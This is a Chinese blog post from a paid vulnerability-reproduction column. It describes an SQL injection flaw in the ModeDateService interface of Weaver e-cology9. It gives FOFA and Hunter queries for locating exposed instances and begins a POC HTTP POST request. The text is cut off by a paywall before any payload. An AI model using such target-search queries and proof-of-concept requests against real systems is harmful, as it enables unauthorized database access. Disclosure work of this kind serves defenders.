泛微ecology9 ModeDateService 存在SQL注入漏洞

李火火安全阁

于 2024-08-29 11:57:02 发布

阅读量319

点赞数 5

分类专栏：漏洞复现文章标签： e-cology

本文链接：https://blog.csdn.net/weixin_46944519/article/details/141674159

版权

漏洞复现专栏收录该内容

89 篇文章 8 订阅 ¥19.90 ¥99.00

订阅专栏

超级会员免费看

一、漏洞介绍

泛微e-cology是⼀款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能
管理和移动办公。泛微e-cology9 ModeDateService接口存在SQL注入漏洞。

二、影响版本

泛微ecology9

三、网络测绘

fofa: app="泛微-协同商务系统"
hunter: app.name=="泛微 e-cology 9.0 OA"
在这里插入图片描述
POC：

POST /services/ModeDateService HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=

了解本专栏